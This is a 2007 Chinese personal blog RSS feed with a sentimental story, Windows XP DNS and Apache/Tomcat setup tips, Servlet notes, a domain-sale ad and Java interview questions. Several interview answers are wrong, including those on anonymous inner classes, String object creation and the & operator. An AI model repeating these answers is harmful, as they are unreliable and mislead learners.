</span><img src ="http://www.cnitblog.com/flydream/aggbug/26238.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/flydream/" target="_blank">碉堡</a> 2007-04-26 22:04 <a href="http://www.cnitblog.com/flydream/archive/2007/04/26/26238.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title> 感动了10000人，母亲的谎言!!!!</title><link>http://www.cnitblog.com/flydream/archive/2007/04/09/25468.html</link><dc:creator>碉堡</dc:creator><author>碉堡</author><pubDate>Mon, 09 Apr 2007 05:45:00 GMT</pubDate><guid>http://www.cnitblog.com/flydream/archive/2007/04/09/25468.html</guid><wfw:comment>http://www.cnitblog.com/flydream/comments/25468.html</wfw:comment><comments>http://www.cnitblog.com/flydream/archive/2007/04/09/25468.html#Feedback</comments><slash:comments>4</slash:comments><wfw:commentRss>http://www.cnitblog.com/flydream/comments/commentRss/25468.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/flydream/services/trackbacks/25468.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1、儿时，小男孩家很穷，吃饭时，饭常常不够吃，母亲就把自己碗里的饭分给孩子吃。母亲说，孩子们，快吃吧，我不饿！——母亲撒的第一个谎&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br>　　&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br>　　　　2、男孩长身体的时候，勤劳的母亲常用周日休息时间去县郊农村河沟里捞些鱼来给孩子们补钙。鱼很好吃，鱼汤也很鲜。孩子们吃鱼的时候，母亲就在一旁啃鱼骨头，用舌头舔鱼骨头上的肉渍。男孩心疼，就把自己碗里的鱼夹到母亲碗里，请母亲吃鱼。母亲不吃，母亲又用筷子把鱼夹回男孩的碗里。母亲说，孩子，快吃吧，我不爱吃鱼！——母亲撒的第二个谎&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br>　　&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br>　　　　3、上初中了，为了缴够男孩和哥姐的学费，当缝纫工的母亲就去居委会领些火柴盒拿回家来，晚上糊了挣点分分钱补点家用。有个冬天，男孩半夜醒来，看到母亲还躬着身子在油灯下糊火柴盒。男孩说，母亲，睡了吧，明早您还要上班呢。母亲笑笑，说，孩子，快睡吧，我不困！——母亲撒的第三个谎&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br>　　&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br>　　　　4、高考那年，母亲请了假天天站在考点门口为参加高考的男孩助阵。时逢盛夏，烈日当头，固执的母亲在烈日下一站就是几个小时。考试结束的铃声响了，母亲迎上去递过一杯用罐头瓶泡好的浓茶叮嘱孩子喝了，茶亦浓，情更浓。望着母亲干裂的嘴唇和满头的汗珠，男孩将手中的罐头瓶反递过去请母亲喝。母亲说，孩子，快喝吧，我不渴！——母亲撒的四个谎&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br>　　&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br>　　　　5、父亲病逝之后，母亲又当爹又当娘，靠着自己在缝纫社里那点微薄收入含辛茹苦拉扯着几个孩子，供他们念书，日子过得苦不堪言。胡同路口电线杆下修表的李叔叔知道后，大事小事就找岔过来打个帮手，搬搬煤，挑挑水，送些钱粮来帮补男孩的家里。人非草木，孰能无情。左邻右舍对此看在眼里，记在心里，都劝母亲再嫁，何必苦了自己。然而母亲多年来却守身如玉，始终不嫁，别人再劝，母亲也断然不听，母亲说，我不爱！——撒的五个谎&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br>　　&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br>　　　　6、男孩和她的哥姐大学毕业参加工作后，下了岗的母亲就在附近农贸市场摆了个小摊维持生活。身在外地工作的孩子们知道后就常常寄钱回来补贴母亲，母亲坚决不要，并将钱退了回去。母亲说，我有钱！——撒的六个谎&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br>　　&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br>　　　　7、男孩留校任教两年，后又考取了美国一所名牌大学的博士生，毕业后留在美国一家科研机构工作，待遇相当丰厚，条件好了，身在异国的男孩想把母亲接来享享清福却被老人回绝了。母亲说，我不习惯！——撒的七个谎&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br>　　&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br>　　　　8、晚年，母亲患了重病，住进了医院，远在大西洋彼岸的男孩乘飞机赶回来时，术后的母亲已是奄奄一息了。母亲老了，望着被病魔折磨得死去活来的母亲，男孩悲痛欲绝，潸然泪下。母亲却说，孩子，别哭，我不疼。——撒的最后一个谎&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br><br>希望母亲长命百岁的快来回贴啊。<img src ="http://www.cnitblog.com/flydream/aggbug/25468.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/flydream/" target="_blank">碉堡</a> 2007-04-09 13:45 <a href="http://www.cnitblog.com/flydream/archive/2007/04/09/25468.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>在XP下安装DNS的方法</title><link>http://www.cnitblog.com/flydream/archive/2007/04/06/25385.html</link><dc:creator>碉堡</dc:creator><author>碉堡</author><pubDate>Fri, 06 Apr 2007 09:59:00 GMT</pubDate><guid>http://www.cnitblog.com/flydream/archive/2007/04/06/25385.html</guid><wfw:comment>http://www.cnitblog.com/flydream/comments/25385.html</wfw:comment><comments>http://www.cnitblog.com/flydream/archive/2007/04/06/25385.html#Feedback</comments><slash:comments>3</slash:comments><wfw:commentRss>http://www.cnitblog.com/flydream/comments/commentRss/25385.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/flydream/services/trackbacks/25385.html</trackback:ping><description><![CDATA[<div><strong>在XP下安装DNS的方法</strong><br><br>以下是本人发现的方法，可以让XP系统出现DNS选项，并且安装成功<br><br>1. 准备xp安装盘，win2000server安装盘（adv ser也可）各1张<br><br>2. 鼠标点击开始菜单-&amp;gt;运行，输入<br>　　　 c:\windows\inf\netoc.inf<br>然后回车，注意windows就是你安装xp的目录<br><br>3. 在 [Optional Components] 栏目下面有以下内容：<br><br>[Optional Components]<br>NetOC ;Top level option<br>NetServices<br>FileAndPrint<br>SNMP<br>......<br><br>在NetServices下面添加1行<br>DNS<br><br>4. 将netdns.inf文件复制到c:\windows\inf目录下，netdns.inf文件下载在后面<br>有<br><br>5. 重起机器，之后控制面版-&amp;gt;添加删除程序-&amp;gt;添加windows组件-&amp;gt;网络服务，<br>此时就能看见被隐藏的 域名服务系统(DNS)，点击安装。<br>注意，安装期间会有2次提示，第一次放入win2000server安装盘，浏览i386目录<br>，然后确定；第二次放入xp安装盘，确定。<br><br><br>这样，xp系统下就安装了DNS</div><img src ="http://www.cnitblog.com/flydream/aggbug/25385.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/flydream/" target="_blank">碉堡</a> 2007-04-06 17:59 <a href="http://www.cnitblog.com/flydream/archive/2007/04/06/25385.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>apache与tomcat整合</title><link>http://www.cnitblog.com/flydream/archive/2007/04/04/25202.html</link><dc:creator>碉堡</dc:creator><author>碉堡</author><pubDate>Wed, 04 Apr 2007 12:35:00 GMT</pubDate><guid>http://www.cnitblog.com/flydream/archive/2007/04/04/25202.html</guid><wfw:comment>http://www.cnitblog.com/flydream/comments/25202.html</wfw:comment><comments>http://www.cnitblog.com/flydream/archive/2007/04/04/25202.html#Feedback</comments><slash:comments>13</slash:comments><wfw:commentRss>http://www.cnitblog.com/flydream/comments/commentRss/25202.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/flydream/services/trackbacks/25202.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: 最新版配置!!!!&nbsp;&nbsp;<a href='http://www.cnitblog.com/flydream/archive/2007/04/04/25202.html'>阅读全文</a><img src ="http://www.cnitblog.com/flydream/aggbug/25202.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/flydream/" target="_blank">碉堡</a> 2007-04-04 20:35 <a href="http://www.cnitblog.com/flydream/archive/2007/04/04/25202.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>ServletContext与ServletConfig分析</title><link>http://www.cnitblog.com/flydream/archive/2007/04/01/25008.html</link><dc:creator>碉堡</dc:creator><author>碉堡</author><pubDate>Sun, 01 Apr 2007 09:52:00 GMT</pubDate><guid>http://www.cnitblog.com/flydream/archive/2007/04/01/25008.html</guid><wfw:comment>http://www.cnitblog.com/flydream/comments/25008.html</wfw:comment><comments>http://www.cnitblog.com/flydream/archive/2007/04/01/25008.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/flydream/comments/commentRss/25008.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/flydream/services/trackbacks/25008.html</trackback:ping><description><![CDATA[对于web容器来说，ServletContext接口定义了一个servlet环境对象，这个对象定义了一个在servlet引擎上的servlet的视图。通过使用这个对象，servlet可以记录事件，得到资源并得到来自servlet的引擎类。<br />servlet容器在启动时会加载web应用，并为每个web应用创建唯一的servlet context对象，可以把ServletContext看成是一个Web应用的服务器端组件的共享内存，在ServletContext中可以存放共享数据，他提供了4个读取和设置共享数据的方法。具体见api帮助文档。<br />    另外，ServletContext对象只在web应用被关闭的时候才被销毁，不同的web应用，ServletContext各自独立存在。<br />    一个web应用由jsp,servlet，javabean等web组件的集合构成，每一个web应用，容器都会有一个背景对象，而javax.servlet.ServletContext接口就提供了访问这个背景对象的途径。你可以通过一个servlet实例的getServletContext()方法得到该servlet运行其中的这个背景对象，从这个背景对象中你可以访问如下信息资源：<br />1.初始化参数<br />2.存储在背景中的对象<br />3.与背景关联的资源<br />4.日志<br />最后针对ServletContext我自己的总结是：<br />ServletContext即servlet容器，其内提供的方法可以在同一web应用下的所有servlet中被使用<br /><br />而对于config对象来说，他与context相比，就有了很大的局限性。<br />当ServletConfig对象在servlet中被实例化后，对任何客户端在任何时候访问有效。但是一个servlet的ServletConfig对象不能被另一个servlet访问，也就是说，在本servlet声明后的ServletConfig只能在本servlet内被访问，属于内部持久有效的变量。<br /><br />下有一例，可供深刻理解：<br /><br />一般来说，对整个应用的配置，为了不使用“硬编码”，应该配置为ServletContext参数，比如字<br />符集设定。<br />&lt;web-app&gt;<br />.................<br />&lt;init-param&gt;<br />&lt;param-name&gt;charset&lt;/param-name&gt; <br />&lt;param-value&gt;GB2312&lt;/param-value&gt; <br />&lt;/init-param&gt;<br />.................<br />&lt;/web-app&gt;<br />注意以上格式只是2。0以后的标准格式，旧容器（引擎）采用服务商自己的格式配置。注意它的<br />父元素应该是&lt;web-app&gt;也就是说它是对一个应用作用的。<br /><br />而如果只有一个特定的servlet要设定的参数，其它servlet不能共享，应该配置为ServletConfig<br />参数，如一个读取附件的servlet要用到绝对目录，而别的servlet不会用到：<br />&lt;servlet&gt;<br />&lt;servlet-name&gt;GetAtt&lt;/servlet-name&gt;<br />&lt;servlet-class&gt;mail.GetAttServlet&lt;/servlet-class&gt;<br />&lt;init-param&gt;<br />&lt;param-name&gt;absPath&lt;/param-name&gt; <br />&lt;param-value&gt;/usr/mail/ax/axman/Maildir/&lt;/param-value&gt; <br />&lt;/init-param&gt;<br />&lt;/servlet&gt;<br />不用说，因为在&lt;servlet&gt;标签中已经指定了name和class,也就是说只有mail.GetAttServlet这个\r<br />servlet中才能取到path,而别的Servlet是不能取到的。<br /><br />前面我们讲了对这连个属性的认识，下面让我们来共同学习一下，如何获取这两个对象的参数：<br /><br />访问ServletConfig参数：<br />首先要取得ServletConfig对象，然后调用它的getInitParameter();方法。要访问<br />ServletConfig对象，jsp中直接使用config内置对象，但因为你的JSP编译后的servlet一般不会被<br />加到web.xml中的，所以一般不会通过jsp来取对本JSP编译后的servlet的配置参数，那么在servlet<br />中要得到ServletConfig对象有两种方法：<br /><br />在inii()方法中取到：通过init的重载方法传递<br /><br />.....<br />public class Test extends HttpServlet <br />{<br />ServletConfig config;<br />public void init(ServletConfig config) throws ServletException {<br />this.config = config;<br />}<br />..................<br />}<br />然后在下面的方法中就可以访问config对象。但要注意，为了确保能从构造方法中到当前servlet的<br />config对象，应该调用父类的构造方法：<br />.....<br />public class Test extends HttpServlet <br />{<br />ServletConfig config;<br />public void init(ServletConfig config) throws ServletException {<br />super.init(config);<br />this.config = config;<br />}<br />..................<br />}<br /><br />通过getServletConfig()方法直接到时，这样做的好处是不必调手工传递属性，想在任何时候都可<br />以得到。<br /><br />    还有第三种方法，要自己实现一些接口，这里作为一般讨论就不介绍了。<br />要访问ServletContext对象，只要从现有的ServletConfig对象getServletContext（）就可以了，然后\r调用它的getInitParameter()方法就可以获取它的参数。<br /><br />    按说：ServletContext对象的作用域比ServletConfig作用域大，为什么要从ServletConfig中到得<br />ServletContext对象呢？我个人认为：容器保存了很多个ServletContext对象，请求时容器到底取哪一个\r给你呢？那就取其中包含ServletConfig信息的那个给你，就是说取ServletConfig对象的父级对象。就好象HttpSession要从requset中取得一样，就是取那个包含当前request对象的session对象给你，这只是我的个人想法，还没有来得及看具体实现。反正就这么用吧。<img src ="http://www.cnitblog.com/flydream/aggbug/25008.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/flydream/" target="_blank">碉堡</a> 2007-04-01 17:52 <a href="http://www.cnitblog.com/flydream/archive/2007/04/01/25008.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>本人有一些cn英文域名待出售！！</title><link>http://www.cnitblog.com/flydream/archive/2007/04/01/25007.html</link><dc:creator>碉堡</dc:creator><author>碉堡</author><pubDate>Sun, 01 Apr 2007 09:33:00 GMT</pubDate><guid>http://www.cnitblog.com/flydream/archive/2007/04/01/25007.html</guid><wfw:comment>http://www.cnitblog.com/flydream/comments/25007.html</wfw:comment><comments>http://www.cnitblog.com/flydream/archive/2007/04/01/25007.html#Feedback</comments><slash:comments>20</slash:comments><wfw:commentRss>http://www.cnitblog.com/flydream/comments/commentRss/25007.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/flydream/services/trackbacks/25007.html</trackback:ping><description><![CDATA[www.javait.cn<br><br>www.itla.com.cn<br><br><span style="COLOR: #ff0000">www.programe.cn<br></span><a href="http://www.programe.com.cn/"><span style="COLOR: #ff0000">www.programe.com.cn</span></a><br><br>有兴趣者可以在评论里留言，或直接联系我！！！<br>价格好商量！！欲购从速！！<br><br>email ：tjb1985@163.com<br>&nbsp;tel:13974349479<br>QQ:397576904 <br><br><br>各位可以帮我估下价吗?域名+价位!!<br>先谢拉!!<img height=20 src="http://www.cnitblog.com/Emoticons/QQ/49.gif" width=20 border=0><img height=20 src="http://www.cnitblog.com/Emoticons/QQ/40.gif" width=20 border=0><img src ="http://www.cnitblog.com/flydream/aggbug/25007.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/flydream/" target="_blank">碉堡</a> 2007-04-01 17:33 <a href="http://www.cnitblog.com/flydream/archive/2007/04/01/25007.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>java中输入输出的总括(初学必看) </title><link>http://www.cnitblog.com/flydream/archive/2007/03/18/24220.html</link><dc:creator>碉堡</dc:creator><author>碉堡</author><pubDate>Sun, 18 Mar 2007 02:38:00 GMT</pubDate><guid>http://www.cnitblog.com/flydream/archive/2007/03/18/24220.html</guid><wfw:comment>http://www.cnitblog.com/flydream/comments/24220.html</wfw:comment><comments>http://www.cnitblog.com/flydream/archive/2007/03/18/24220.html#Feedback</comments><slash:comments>10</slash:comments><wfw:commentRss>http://www.cnitblog.com/flydream/comments/commentRss/24220.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/flydream/services/trackbacks/24220.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: 经典之作!!&nbsp;&nbsp;<a href='http://www.cnitblog.com/flydream/archive/2007/03/18/24220.html'>阅读全文</a><img src ="http://www.cnitblog.com/flydream/aggbug/24220.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/flydream/" target="_blank">碉堡</a> 2007-03-18 10:38 <a href="http://www.cnitblog.com/flydream/archive/2007/03/18/24220.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>win2000下apache和tomcat的整合 </title><link>http://www.cnitblog.com/flydream/archive/2007/03/09/23817.html</link><dc:creator>碉堡</dc:creator><author>碉堡</author><pubDate>Fri, 09 Mar 2007 13:28:00 GMT</pubDate><guid>http://www.cnitblog.com/flydream/archive/2007/03/09/23817.html</guid><wfw:comment>http://www.cnitblog.com/flydream/comments/23817.html</wfw:comment><comments>http://www.cnitblog.com/flydream/archive/2007/03/09/23817.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/flydream/comments/commentRss/23817.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/flydream/services/trackbacks/23817.html</trackback:ping><description><![CDATA[<div class="tags">Tag: <a href="http://labyrinth.blogbus.com/s33074/"><font color="#4a664d">服务器端</font></a></div>1、整合理由：<br />单独使用Tomcat做JSP服务器，在工作效率上会有问题，并且所能承受的最大并发连接数也有一定的限制，所以将处理html与jsp进行明确分工，前者交由apache处理，tomcat处理jsp部分，这样各自发挥所长。<br />2、版本：<br />Tomcat 5.0.27 <br />Apache 2.0.50<br />mod_jk2 2.0.4<br />3、软件下载：<br />在<a href="http://httpd.apache.org/"><font color="#4a664d">http://httpd.apache.org/</font></a>上下载apache;<br />在<a href="http://jakarta.apache.org/site/binindex.cgi"><font color="#000000">http://jakarta.apache.org/site/binindex.cgi</font></a>上下载Tomcat和mod_jk2。mod_jk2在Tomcat Web Server Connectors中，有两个版本，当然是用最新的。文件很小，所以下载很快；<br />4、软件安装，这个没有什么好说的；<br />5、安装完毕，测试一下，打开<a href="http://localhost:8080/"><font color="#4a664d">http://localhost:8080</font></a>和<a href="http://localhost/"><font color="#000000">http://localhost</font></a>，可以分别看到Tomcat和Apache的本机首页；<br />6、将mod_jk2.so复制到<br />C:\Program Files\Apache Group\Apache2\modules目录下，编辑C:\Program Files\Apache Group\Apache2\conf\httpd.conf文件,在LoadModule那一段代码中添加：<br />LoadModule jk2_module modules/mod_jk2.so<br />7、将AddDefaultCharset ISO-8859-1 改为 AddDefaultCharset GB2312 使Apache自动支持中文显示；<br />8、在“虚拟主机配置代码段”中修改一下：<br />&lt;VirtualHost *:80&gt;<br />    ServerAdmin <a href="mailto:webmaster@dummy-host.example.com"><font color="#4a664d">webmaster@dummy-host.example.com</font></a><br />    DocumentRoot <font color="#ff0000">"C:/Tomcat 5.0/webapps/ROOT"<br /></font>    ServerName dummy-host.example.com<br />    ErrorLog logs/dummy-host.example.com-error_log<br />    CustomLog logs/dummy-host.example.com-access_log common<br />&lt;/VirtualHost&gt;<br />9、编写workers2.properties文件<br />[shm] <br />file=${serverRoot}/logs/shm.file <br />size=1048576 <br />#The socket channel<br />[channel.socket:localhost:8009] <br />port=8009 <br />host=***.***.***.*** <br />#define the worker <br />[ajp13:localhost:8009] <br />channel=channel.socket:localhost:8009 <br />#uri mapping <br />[uri:/*.jsp] <br />worker=ajp13:localhost:8009<br />放到C:\Program Files\Apache Group\Apache2\conf目录下<br />10、重启动Apache和Tomcat服务器，这时<font color="#ff0000">在Apache Service Monitor下的提示栏中可见Apache/2.0.50(win32) mod_jk2/2.0.4</font>；<br />11、分别打开<a href="http://localhost:8080/"><font color="#4a664d">http://localhost:8080</font></a>和<a href="http://localhost/"><font color="#000000">http://localhost</font></a>，看到的都是Apache的页面，打开<a href="http://localhost:8080/index.jsp"><font color="#4a664d">http://localhost:8080/index.jsp</font></a>，看见的都是Tomcat的页面，一切OK！<br /><img src ="http://www.cnitblog.com/flydream/aggbug/23817.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/flydream/" target="_blank">碉堡</a> 2007-03-09 21:28 <a href="http://www.cnitblog.com/flydream/archive/2007/03/09/23817.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>JAVA程序员面试32问</title><link>http://www.cnitblog.com/flydream/archive/2007/03/06/23653.html</link><dc:creator>碉堡</dc:creator><author>碉堡</author><pubDate>Tue, 06 Mar 2007 02:59:00 GMT</pubDate><guid>http://www.cnitblog.com/flydream/archive/2007/03/06/23653.html</guid><wfw:comment>http://www.cnitblog.com/flydream/comments/23653.html</wfw:comment><comments>http://www.cnitblog.com/flydream/archive/2007/03/06/23653.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/flydream/comments/commentRss/23653.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/flydream/services/trackbacks/23653.html</trackback:ping><description><![CDATA[<div style="FONT-SIZE: 13px">
				<p>第一，谈谈final, finally, finalize的区别。 <br />final 修饰符（关键字）如果一个类被声明为final，意味着它不能再派生出新的子类，不能作为父类被继承。因此一个类不能既被声明为 abstract的，又被声明为final的。将变量或方法声明为final，可以保证它们在使用中不被改变。被声明为final的变量必须在声明时给定初值，而在以后的引用中只能读取，不可修改。被声明为final的方法也同样只能使用，不能重载 <br />finally 再异常处理时提供 finally 块来执行任何清除操作。如果抛出一个异常，那么相匹配的 catch 子句就会执行，然后控制就会进入 finally 块（如果有的话）。 <br />finalize?方法名。Java 技术允许使用 finalize() 方法在垃圾收集器将对象从内存中清除出去之前做必要的清理工作。这个方法是由垃圾收集器在确定这个对象没有被引用时对这个对象调用的。它是在 Object 类中定义的，因此所有的类都继承了它。子类覆盖 finalize() 方法以整理系统资源或者执行其他清理工作。finalize() 方法是在垃圾收集器删除对象之前对这个对象调用的。 </p>
				<p>第二，Anonymous Inner Class (匿名内部类) 是否可以extends(继承)其它类，是否可以implements(实现)interface(接口)? <br />匿名的内部类是没有名字的内部类。不能extends(继承) 其它类，但一个内部类可以作为一个接口，由另一个内部类实现。 </p>
				<p>第三，Static Nested Class 和 Inner Class的不同，说得越多越好(面试题有的很笼统)。 <br />Nested Class （一般是C++的说法），Inner Class (一般是JAVA的说法)。Java内部类与C++嵌套类最大的不同就在于是否有指向外部的引用上。具体可见http: //www.frontfree.net/articles/services/view.asp?id=704&amp;page=1 <br />注： 静态内部类（Inner Class）意味着1创建一个static内部类的对象，不需要一个外部类对象，2不能从一个static内部类的一个对象访问一个外部类对象 </p>
				<p>第四，&amp;和&amp;&amp;的区别。 <br />&amp;是位运算符。&amp;&amp;是布尔逻辑运算符。 </p>
				<p>第五，HashMap和Hashtable的区别。 <br />都属于Map接口的类，实现了将惟一键映射到特定的值上。 <br />HashMap 类没有分类或者排序。它允许一个 null 键和多个 null 值。 <br />Hashtable 类似于 HashMap，但是不允许 null 键和 null 值。它也比 HashMap 慢，因为它是同步的。 </p>
				<p>第六，Collection 和 Collections的区别。 <br />Collections是个java.util下的类，它包含有各种有关集合操作的静态方法。 <br />Collection是个java.util下的接口，它是各种集合结构的父接口。 </p>
				<p>第七，什么时候用assert。 <br />断言是一个包含布尔表达式的语句，在执行这个语句时假定该表达式为 true。如果表达式计算为 false，那么系统会报告一个 AssertionError。它用于调试目的： <br />assert(a &gt; 0); // throws an AssertionError if a &lt;= 0 <br />断言可以有两种形式： <br />assert Expression1 ; <br />assert Expression1 : Expression2 ; <br />Expression1 应该总是产生一个布尔值。 <br />Expression2 可以是得出一个值的任意表达式。这个值用于生成显示更多调试信息的 String 消息。 <br />断言在默认情况下是禁用的。要在编译时启用断言，需要使用 source 1.4 标记： <br />javac -source 1.4 Test.java <br />要在运行时启用断言，可使用 -enableassertions 或者 -ea 标记。 <br />要在运行时选择禁用断言，可使用 -da 或者 -disableassertions 标记。 <br />要系统类中启用断言，可使用 -esa 或者 -dsa 标记。还可以在包的基础上启用或者禁用断言。 <br />可以在预计正常情况下不会到达的任何位置上放置断言。断言可以用于验证传递给私有方法的参数。不过，断言不应该用于验证传递给公有方法的参数，因为不管是否启用了断言，公有方法都必须检查其参数。不过，既可以在公有方法中，也可以在非公有方法中利用断言测试后置条件。另外，断言不应该以任何方式改变程序的状态。 </p>
				<p>第八，GC是什么? 为什么要有GC? (基础)。 <br />GC是垃圾收集器。Java 程序员不用担心内存管理，因为垃圾收集器会自动进行管理。要请求垃圾收集，可以调用下面的方法之一： <br />System.gc() <br />Runtime.getRuntime().gc() </p>
				<p>第九，String s = new String("xyz");创建了几个String Object? <br />两个对象，一个是“xyx”,一个是指向“xyx”的引用对象s。 </p>
				<p>第十，Math.round(11.5)等於多少? Math.round(-11.5)等於多少? <br />Math.round(11.5)返回（long）12，Math.round(-11.5)返回（long）-11; <br />第二十一，abstract的method是否可同时是static,是否可同时是native，是否可同时是synchronized? <br />都不能 </p>
				<p>第二十二，接口是否可继承接口? 抽象类是否可实现(implements)接口? 抽象类是否可继承实体类(concrete class)? <br />接口可以继承接口。抽象类可以实现(implements)接口，抽象类是否可继承实体类，但前提是实体类必须有明确的构造函数。 </p>
				<p>第二十三，启动一个线程是用run()还是start()? <br />启动一个线程是调用start()方法，</p>
		</div><img src ="http://www.cnitblog.com/flydream/aggbug/23653.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/flydream/" target="_blank">碉堡</a> 2007-03-06 10:59 <a href="http://www.cnitblog.com/flydream/archive/2007/03/06/23653.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss>